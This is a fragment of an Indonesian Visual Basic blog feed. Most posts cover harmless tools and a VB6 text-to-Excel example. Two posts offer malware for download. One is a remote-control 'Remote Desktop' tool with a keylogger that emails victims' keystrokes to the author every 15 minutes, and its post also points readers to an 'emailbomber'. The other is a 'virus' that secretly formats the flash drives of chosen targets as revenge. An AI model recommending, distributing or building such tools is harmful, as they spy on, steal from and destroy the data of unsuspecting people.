src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-9150273809656823301</id><published>2010-08-01T01:07:00.006+07:00</published><updated>2021-10-01T01:54:58.811+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="HACK"/><category scheme="http://www.blogger.com/atom/ns#" term="Software"/><title type="text">Remote Desktop - Pengontrol Komputer Orang Lain</title><content type="html">Aplikasi ini dibuat HANYA dengan tujuan pembelajaran mengenai Pemrograman Remote Desktop Client - Server, dengan sudut pandang dari sisi hitamnya. Karena disatu sisi terdapat fasilitas yang menguntungkan bagi si pemegang aplikasi Client namun disisi lain dapat merugikan orang yang komputernya berjalan aplikasi server.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Harap Diperhatikan bahwa semua bentuk kerugian pada anda atau kerugian pada pihak lain yang diakibatkan penggunaan program "REMOTE DESKTOP" ini, bukan merupakan tanggung jawab saya sebagai penyusun program. Semua bentuk kerugian tersebut sepenuhnya menjadi tanggung jawab anda yang menjalankan aplikasi "REMOTE DESKTOP". Jika anda tidak setuju dengan hal ini lebih baik jangan gunakan aplikasi ini dan hapus dari komputer anda melalui tombol "Clear Your PC" yang ada pada form login aplikasi "Client.exe".&lt;br /&gt;&lt;br /&gt;Tetapi jika anda setuju, maka harus diingat bahwa jika aplikasi "Server" berjalan di komputer anda dan anda terhubung dengan internet serta jika website untuk mengirim email secara anonim dapat diakses serta Kontrol Check Untuk memperbolehkan pengiriman e-mail ke VBasicCode anda centang maka otomatis setiap 15 menit "server" akan mengirim informasi ke account email saya, sehingga saya dapat mengambil keuntungan dari hasil keylogger yang tertanam di "server".&lt;br /&gt;HATI-HATI JANGAN SAMPAI SAYA MENGETAHUI PASSWOR ANDA!!!.&lt;br /&gt;&lt;br /&gt;Aplikasi Ini Dibuat dan Di Coba Pada System Windows XP SP 2, kadang masih dijumpai Bugs yaitu, Bugs pada proses Pengiriman email yang kadang gagal kadang berhasil, hal ini disebabkan karena web yang dipilih untuk pengiriman secara anonim kadang tidak dapat diakses sehingga email dari server tidak terkirim. Untuk mengatasi hal ini maka download dan gunakan aplikasi emailbomber yang telah saya upload sebelumnya untuk mengetahui webserver yang memiliki fasilitas pengiriman e-mail Anonim. Jika telah mendapatkan webserver dengan fasilitas ini maka tulis secara lengkap alamat webserser tersebut ke dalam file "Webserver.txt" yang secara otomatis akan dihasilkan jika anda menjalankan "Client.exe".&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Fitur&lt;/b&gt;&lt;br /&gt;Fitur yang ada pada aplikasi ini adalah:&lt;br /&gt;Cek IP Address&lt;br /&gt;Otomtatis Kirim e-mail&lt;br /&gt;Cek Pengiriman e-mail&lt;br /&gt;Update WebServer e-mail Anonim&lt;br /&gt;ScreenShot&lt;br /&gt;Keylogger&lt;br /&gt;Upload Download&lt;br /&gt;Chating&lt;br /&gt;Pesan Pop-Up&lt;br /&gt;Shutdown, Restart, Log Off&lt;br /&gt;Minimize Semua Window&lt;br /&gt;Show Hide Start Button&lt;br /&gt;Enable Disable Start Button&lt;br /&gt;Ubah Resolusi Monitor&lt;br /&gt;Balik Layar Monitor&lt;br /&gt;Wallpaper&lt;br /&gt;Screen Saver&lt;br /&gt;Open Close CD-Rom&lt;br /&gt;Disable Enable Task Manager&lt;br /&gt;Disable Enable Regedit&lt;br /&gt;Show Hide Taskbar&lt;br /&gt;Show Hide Clock&lt;br /&gt;Kunci File executable&lt;br /&gt;Disable Enable System Restore&lt;br /&gt;Ubah Owner&lt;br /&gt;Ubah Organization&lt;br /&gt;Show Hide Icon Desktop&lt;br /&gt;Get Versi Windows&lt;br /&gt;Open Directory&lt;br /&gt;Delete&lt;br /&gt;Remove&lt;br /&gt;Empty&lt;br /&gt;Kill&lt;br /&gt;Run&lt;br /&gt;Mouse&lt;br /&gt;View Time Server&lt;br /&gt;Timer Connect/DisConnect Internet&lt;br /&gt;Timer Shutdown&lt;br /&gt;Tweak Registry&lt;br /&gt;Close Windows Process&lt;br /&gt;Del Windows Process&lt;br /&gt;&lt;br /&gt;Pada akhirnya saya ucapkan terimakasih telah sudi membaca dan memnggunakan aplikasi ini. Semoga bermanfaat dan menambah Pengetahuan.&lt;br /&gt;&lt;br /&gt;Salam.</content><link href="http://vbasiccode.blogspot.com/feeds/9150273809656823301/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/08/remote-desktop-pengontrol-komputer.html#comment-form" rel="replies" title="54 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/9150273809656823301" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/9150273809656823301" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/08/remote-desktop-pengontrol-komputer.html" rel="alternate" title="Remote Desktop - Pengontrol Komputer Orang Lain" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><thr:total>54</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8575012594749391019</id><published>2010-06-22T14:36:00.003+07:00</published><updated>2021-10-01T01:55:28.378+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Tips And Trick"/><title type="text">ShowHideFileFolder.exe - Aplikasi Pengubah Attribut File</title><content type="html">Kadang kala bila komputer/flashdisk kita pernah kena virus maka file  atau folder akan disembunyikan oleh virus karena beratribut  HiddenSystemReadonly, user awam kadang malah menganggap file telah  dihapus oleh virus padahal belum tentu. Untuk mengembalikan file folder  yang disembunyikan virus gunakan aplikasi ShowHideFileFolder.exe.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.ziddu.com/download/10392214/ShowHideFileFolder.rar.html"&gt;Klik untuk Download Aplikasi dan Project ShowHideFileFolder&lt;/a&gt;&lt;br /&gt;Semoga bermanfaat!!</content><link href="http://vbasiccode.blogspot.com/feeds/8575012594749391019/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/06/showhidefilefolderexe-aplikasi-pengubah.html#comment-form" rel="replies" title="11 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8575012594749391019" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8575012594749391019" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/06/showhidefilefolderexe-aplikasi-pengubah.html" rel="alternate" title="ShowHideFileFolder.exe - Aplikasi Pengubah Attribut File" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-7534635071701064523</id><published>2010-06-19T16:14:00.012+07:00</published><updated>2021-10-01T01:56:05.799+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bisnis Online"/><title type="text">NeoRefStat.Exe - Neobux Referrals Stats</title><content type="html">Aplikasi yang saya buat khusus bagi anda yang bergabung dengan program PTC Neobux, yaitu program klik dapat duit. Fungsi dari aplikasi adalah untuk mengetahui status Referral kita baik itu Rented Referrals atau Direct Referrals.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Code yang dipelajari dari aplikasi ini adalah :&lt;br /&gt;1. Membaca file  txt dan ditampilkan dalam listview&lt;br /&gt;2. Sort ListView&lt;br /&gt;3. Memberi warna listview sesuai dengan angka yang  berada dalam subitem/kotaknya.&lt;br /&gt;4.  Comparing 2 txt file, dalam contoh aplikasi ini adalah mencari klik pada file txt 1 tiap referral yang ada pada file txt ke-2 dan kemudian menggabungkannya dalam file lain.&lt;br /&gt;5. Membuat grafik dari click tiap referral dalam satu bulan dan grafik Average AVG dalam satu bulan juga.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Cara Penggunaan:&lt;/b&gt;&lt;br /&gt;Setelah nanti anda download dan ekstrak maka dalam folder tersebut terdapat folder-folder yang merupakan file referral saya, jadi itu merupakan sampel saja. Dan jika anda sudah faham penggunaanya tinggal anda hapus semua hasil download beserta folder dan file didalamnya kecuali tentu saja sisakan NeoRefStat.exe. Kemudian silahkan jalankan aplikasi dan mulailah melekukan ekspor file txt dari neobux dengan cara klik "Get Referrals List" maka akanmuncul popupmenu dan silahkan klik Link untuk download Rented Referral atau Direct referrals. Setelah anda mendapatkan file tersebut maka simpan pada folder dalam aplikasi ini, yaitu folder DataExportFromNeobux. Lebih jelasnya baca Help-nya ya..hehehe..&lt;br /&gt;&lt;br /&gt;Klik untuk&amp;nbsp;&lt;a href="http://www.ziddu.com/download/10355279/NeoRefStat.rar.html"&gt;Download Aplikasi Versi Instalasi NeoRefStat&lt;/a&gt;&lt;br /&gt;Klik untuk&amp;nbsp;&lt;a href="http://www.ziddu.com/download/10356296/ProjectNeoRefStat.rar.html"&gt;Download Project NeoRefStat&lt;/a&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Semoga bermanfaat.</content><link href="http://vbasiccode.blogspot.com/feeds/7534635071701064523/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/06/neorefstatexe.html#comment-form" rel="replies" title="5 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/7534635071701064523" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/7534635071701064523" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2010/06/neorefstatexe.html" rel="alternate" title="NeoRefStat.Exe - Neobux Referrals Stats" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-5592990037152956209</id><published>2009-03-06T14:53:00.024+07:00</published><updated>2010-07-16T23:31:49.257+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Software"/><title type="text">VIRUS FORMAT PERSONAL FLASHDISK (VFP-FLASHDISK)</title><content type="html">Saya beri nama aplikasi ini dengan nama VIRUS FORMAT PERSONAL FLASHDISK (VFP-FLASHDISK), karena aplikasi ini dibuat dengan tujuan untuk melakukan format pada flashdisk orang yang telah anda tentukan, mungkin orang tersebut membuat sakit hati sehingga perlu memberikan pelajaran dengan melakukan format pada flashdisknya.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Jadi tidak semua flashdisk yang masuk akan diformat, flashdisk yang memiliki nama/VolumeName yang sama dengan daftar target sajalah yang akan diformat.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_48czvH0DaKc/SbKxwCwEB5I/AAAAAAAAAQ0/RcpJA0CAqXs/s1600-h/Target+Tertangkap.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SbK6gUlUQeI/AAAAAAAAAQ8/0o-8E2_nHpc/s1600-h/Telah+Diformat.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SbK6gUlUQeI/AAAAAAAAAQ8/0o-8E2_nHpc/s1600-h/Telah+Diformat.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SbK8kUWOm0I/AAAAAAAAARE/8NLDbSf5Hpc/s1600-h/menanti+target.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_48czvH0DaKc/SbK8kUWOm0I/AAAAAAAAARE/8NLDbSf5Hpc/s320/menanti+target.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SbK6gUlUQeI/AAAAAAAAAQ8/0o-8E2_nHpc/s1600-h/Telah+Diformat.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_48czvH0DaKc/SbK6gUlUQeI/AAAAAAAAAQ8/0o-8E2_nHpc/s320/Telah+Diformat.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;ANALOGI PEMROGRAMAN VFP-FLASHDISK&lt;br /&gt;&lt;br /&gt;1. Virus melakukan scan nama/volume flashdisk terhadap flashdisk yang terhubung dengan komputer&lt;br /&gt;&lt;br /&gt;2. Jika ditemukan nama/volume flashdisk yang terhubung itu sama dengan daftar nama target/korban maka flashdisk tersebut akan diformat.&lt;br /&gt;&lt;br /&gt;3. Jika flashdisk yang terhubung tersebut nama/volumenya tidak ditemukan pada daftar target maka nama flashdisk tersebut akan disimpan dalam suatu file. dari file inilah anda akan mendapatkan nama/volume flashdisk siapa sajakah yang pernah konek dengan komputer. Dan jika anda menginginkan anda dapat menambahkannya pada daftar target.&lt;br /&gt;&lt;br /&gt;4. Anda dapat menambah atau menghapus daftar target dengan sekali klik pada tombol.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;UNTUK PEMROGRAMANNYA DIBUTUHKAN FUNGSI:&lt;br /&gt;&lt;br /&gt;1. Pemanggilan Windows Format secara Sembunyi agar user (Si empunya flashdisk) tidak melihat kalau flashdisknya diformat.&lt;br /&gt;&lt;br /&gt;2. Pemanggilan dan menyembunyikan virus hanya dengan sekali tekan. Anda dapat menyembunyikan virus dengan menekan tombol Hide dan anda dapat menampilkan virus kembali dengan hanya menekan Ctrl+F10. bagaimana menurut anda dipermudah bukan ? he..he..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CARA MEMULAI/MENJALANKAN APLIKASI&lt;br /&gt;&lt;br /&gt;1. Jangan sampai ada flashdisk yang terhubung dengan PC&lt;br /&gt;&lt;br /&gt;2. Flashdisk anda Jangan diberi nama/Bervolume &lt;br /&gt;&lt;br /&gt;a. Removable Disk&lt;br /&gt;&lt;br /&gt;b. Amat&lt;br /&gt;&lt;br /&gt;c. Agus&lt;br /&gt;&lt;br /&gt;Karena akan langsung diformat&lt;br /&gt;&lt;br /&gt;3. Klik dua kali untuk menjalankan aplikasi kemudian Tekan Ctrl+F10 agar aplikasi terlihat&lt;br /&gt;&lt;br /&gt;4. Klik Tombol "KLIK UNTUK MENJALANKAN VIRUS YANG TELAH TERCOPY DI PC KEMUDIAN TEKAN Ctrl+F10 AGAR VIRUS TERLIHAT"&lt;br /&gt;&lt;br /&gt;5. Tekan Ctrl+F10 untuk menampilkan aplikasi yang telah berjalan pada PC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maaf, untuk aplikasi ini tidak saya sertakan source codenya karena :&lt;br /&gt;&lt;br /&gt;1. Siapa tahu ada yang mau donasi karena tertarik source code "Format Drive" sehingga ada biaya pengiriman. He..he..he..&lt;br /&gt;&lt;br /&gt;2. Fitur Format saya anggap fitur yang kejam dan tidak ada seninya bagi suatu virus jadi ngga usah disertakan source codenya, tetapi bagi aplikasi lainnya (bukan virus) mungkin fitur yang sangat bermanfaat. Apalagi ada source code untuk otomatisasi, contohnya jika anda pada saat akan melakukan format secara biasa maka akan tampil windows formating dan anda disuruh menekan/melakukan klik dengan maouse pada tombol yang muncul, maka dengan source code yang telah disiapkan kita tidak perlu menekan keyboard/mause.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/10356364/VirusFormatPersonalFlashdisk.rar.html"&gt;Klik Untuk Download Aplikasi VFP-FlashDisk&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;SEMUA INI UNTUK MENAMBAH WAWASAN SAJA DAN KEHATI-HATIAN ANDA AKAN BAHAYA YANG SELALU MENGANCAM DATA PENTING ANDA&lt;br /&gt;&lt;br /&gt;TARGET DISINI CUMA FLASHDISK BAGAIMANA JIKA TARGETNYA DITAMBAH DENGAN DRIVE DATA-DATA SELAIN DRIVE SYSTEM????MENANGISLAH KITA&lt;br /&gt;&lt;br /&gt;TERIMAKASIH&lt;br /&gt;&lt;br /&gt;SALAM&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan ^_^&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/5592990037152956209/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2009/03/virus-format-personal-flashdisk-vfp.html#comment-form" rel="replies" title="9 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/5592990037152956209" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/5592990037152956209" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2009/03/virus-format-personal-flashdisk-vfp.html" rel="alternate" title="VIRUS FORMAT PERSONAL FLASHDISK (VFP-FLASHDISK)" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://4.bp.blogspot.com/_48czvH0DaKc/SbK8kUWOm0I/AAAAAAAAARE/8NLDbSf5Hpc/s72-c/menanti+target.bmp" width="72"/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-1716566365788540731</id><published>2008-11-06T02:21:00.011+07:00</published><updated>2010-12-26T00:24:45.873+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Tips And Trick"/><title type="text">Ekspor Txt ke Excel</title><content type="html">Hallo-hallo, sudah lama ngga ngisi blog ini, semoga teman semua tidak pada bosen dan semoga tambah pinter pemrograman VBnya. Untuk posting kali ini saya mencoba memenuhi permintaan salah satu pengunjung mengenai peng-Eksporan data dari format .txt diekspor ke format excel.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SRHz1HuKkeI/AAAAAAAAAP0/xgr_Cr9hS_E/s1600-h/Data+Teks.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" rg="true" src="http://2.bp.blogspot.com/_48czvH0DaKc/SRHz1HuKkeI/AAAAAAAAAP0/xgr_Cr9hS_E/s320/Data+Teks.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SRHz9bOLeSI/AAAAAAAAAP8/c9AfOe-aoEY/s1600-h/Txt2Excel.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" rg="true" src="http://4.bp.blogspot.com/_48czvH0DaKc/SRHz9bOLeSI/AAAAAAAAAP8/c9AfOe-aoEY/s320/Txt2Excel.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Langsung saja yang dibutuhkan dalam pembuatan aplikasi ini adalah ListView untuk menampung data dari file data.txt, 1 Commandbutton untuk melihat dan sekaligus menyimpan file dalam format xls ataupun txt, dan combo box untuk menampung pilihan format yang ingin dilihat yaitu .txt atau .xls, Agar lebih jelas lagi lihat gambar di atas. Tanpa basa-basi silahkan dipelajari code-code dibawah ini.&lt;br /&gt;&lt;br /&gt;Masukan code dibawah ini pada form&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="margin: 0px;padding: 3px;border: 1px inset;width: 500px;height: 498px;text-align: left;overflow: auto"&gt;Option Explicit&lt;br /&gt;Public Enum DataSiswa&lt;br /&gt;Nama = 1&lt;br /&gt;Kelas&lt;br /&gt;JenisKelamin&lt;br /&gt;NIS&lt;br /&gt;Alamat&lt;br /&gt;Tempatlahir&lt;br /&gt;TanggalLahir&lt;br /&gt;End Enum&lt;br /&gt;&lt;br /&gt;Private Const SE_ERR_NOASSOC = 31&lt;br /&gt;Private Declare Function timeGetTime Lib "winmm.dll" () As Long&lt;br /&gt;Private Declare Function GetDesktopWindow Lib "user32" () As Long&lt;br /&gt;Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long&lt;br /&gt;Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub LoadHeader()&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;&lt;br /&gt;'mengeset columnheaders&lt;br /&gt;With lvwDataSiswa&lt;br /&gt;&lt;br /&gt;.ColumnHeaders.Add , "Nama", "Nama"&lt;br /&gt;.ColumnHeaders.Add , "Kelas", "Kelas"&lt;br /&gt;.ColumnHeaders.Add , "JenisKelamin", "JK"&lt;br /&gt;.ColumnHeaders.Add , "NIS", "NIS"&lt;br /&gt;.ColumnHeaders.Add , "Alamat", "Alamat"&lt;br /&gt;.ColumnHeaders.Add , "Tempatlahir", "Lahir"&lt;br /&gt;.ColumnHeaders.Add , "TanggalLahir", "Tanggal Lahir"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'Nama&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Nama).Width = 2500&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Nama).Alignment = lvwColumnLeft&lt;br /&gt;'Kelas&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Kelas).Width = 700&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Kelas).Alignment = lvwColumnLeft&lt;br /&gt;'JenisKelamin&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.JenisKelamin).Width = 500&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.JenisKelamin).Alignment = lvwColumnLeft&lt;br /&gt;'NIS&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.NIS).Width = 700&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.NIS).Alignment = lvwColumnLeft&lt;br /&gt;'Alamat&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Alamat).Width = 2500&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Alamat).Alignment = lvwColumnLeft&lt;br /&gt;'Tempatlahir&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Tempatlahir).Width = 1000&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.Tempatlahir).Alignment = lvwColumnLeft&lt;br /&gt;'TanggalLahir&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.TanggalLahir).Width = 1200&lt;br /&gt;.ColumnHeaders.Item(DataSiswa.TanggalLahir).Alignment = lvwColumnLeft&lt;br /&gt;End With&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exit Sub&lt;br /&gt;Salah:&lt;br /&gt;MsgBox Err.Number &amp;amp; vbCrLf &amp;amp; Err.Description&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub CmdView_Click()&lt;br /&gt;&lt;br /&gt;ShowItemList lvwDataSiswa, 100, "Data Siswa", , True, cboExt.Text&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;LoadHeader&lt;br /&gt;PopulateLvw&lt;br /&gt;cboExt.ListIndex = 0&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub PopulateLvw()&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim Item As ListItem&lt;br /&gt;Dim sData As String&lt;br /&gt;Dim saryData() As String&lt;br /&gt;Dim lCount As Long&lt;br /&gt;Dim saryColData() As String&lt;br /&gt;Dim lColPos As Long&lt;br /&gt;&lt;br /&gt;sData = GetFileData(App.Path &amp;amp; "\Data.txt")&lt;br /&gt;&lt;br /&gt;saryData() = Split(sData, vbCrLf)&lt;br /&gt;&lt;br /&gt;'menghilangkan Header Name yang pertama pada data.txt&lt;br /&gt;For lCount = LBound(saryData, 1) + 1 To UBound(saryData, 1)&lt;br /&gt;If saryData(lCount) = vbNullString Then&lt;br /&gt;Exit For&lt;br /&gt;End If&lt;br /&gt;saryColData() = Split(saryData(lCount), vbTab)&lt;br /&gt;&lt;br /&gt;Set Item = lvwDataSiswa.ListItems.Add(, , saryColData(DataSiswa.Nama - 1))&lt;br /&gt;'Kelas&lt;br /&gt;Item.SubItems(DataSiswa.Kelas - 1) = saryColData(DataSiswa.Kelas - 1)&lt;br /&gt;'JenisKelamin&lt;br /&gt;Item.SubItems(DataSiswa.JenisKelamin - 1) = saryColData(DataSiswa.JenisKelamin - 1)&lt;br /&gt;'NIS&lt;br /&gt;Item.SubItems(DataSiswa.NIS - 1) = saryColData(DataSiswa.NIS - 1)&lt;br /&gt;'Alamat&lt;br /&gt;Item.SubItems(DataSiswa.Alamat - 1) = saryColData(DataSiswa.Alamat - 1)&lt;br /&gt;'Tempatlahir&lt;br /&gt;Item.SubItems(DataSiswa.Tempatlahir - 1) = saryColData(DataSiswa.Tempatlahir - 1)&lt;br /&gt;'TanggalLahir&lt;br /&gt;Item.SubItems(DataSiswa.TanggalLahir - 1) = saryColData(DataSiswa.TanggalLahir - 1)&lt;br /&gt;Item.Selected = False&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;Exit Sub&lt;br /&gt;Salah:&lt;br /&gt;MsgBox Err.Number &amp;amp; vbCrLf &amp;amp; Err.Description&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub ShowItemList(poLstView As Object, _&lt;br /&gt;Optional plMaxColLen As Long = 100, _&lt;br /&gt;Optional psOutPutName As String = vbNullString, _&lt;br /&gt;Optional psOutPutPath As String = vbNullString, _&lt;br /&gt;Optional pbUseTempPrefix As Boolean = False, _&lt;br /&gt;Optional psExt As String)&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;'Error&lt;br /&gt;Dim lRet As Long&lt;br /&gt;Dim lErrNum As Long&lt;br /&gt;Dim sErrDesc As String&lt;br /&gt;'File names&lt;br /&gt;Dim sFileName As String&lt;br /&gt;Dim sFullPathName As String&lt;br /&gt;Dim sTempDir As String&lt;br /&gt;Dim sExt As String&lt;br /&gt;Dim bValidExt As Boolean&lt;br /&gt;Dim bDelAppApthFile As Boolean&lt;br /&gt;'Objects&lt;br /&gt;Dim Item As ListItem&lt;br /&gt;Dim oLstView As ListView&lt;br /&gt;'Build Print Data&lt;br /&gt;Dim lColPos As Long&lt;br /&gt;Dim lFillLen As Long&lt;br /&gt;Dim aryColMaxLen() As Long&lt;br /&gt;Dim sHeader As String&lt;br /&gt;Dim sData As String&lt;br /&gt;Dim sTemp As String&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'Set nama file menggunakan ekstensi .txt atau .xls&lt;br /&gt;'hanya Support .txt dan .xls&lt;br /&gt;If psExt = vbNullString Then&lt;br /&gt;psExt = ".txt"&lt;br /&gt;Else&lt;br /&gt;sExt = psExt&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'mengecek validnya ekstensi&lt;br /&gt;If StrComp(sExt, ".txt", vbTextCompare) = 0 Then&lt;br /&gt;bValidExt = True&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If StrComp(sExt, ".xls", vbTextCompare) = 0 Then&lt;br /&gt;bValidExt = True&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If Not bValidExt Then&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'mengeset List View Object&lt;br /&gt;Set oLstView = poLstView&lt;br /&gt;&lt;br /&gt;If psOutPutName = vbNullString Then&lt;br /&gt;sFileName = "Daftar Item" &amp;amp; sExt&lt;br /&gt;Else&lt;br /&gt;If pbUseTempPrefix Then&lt;br 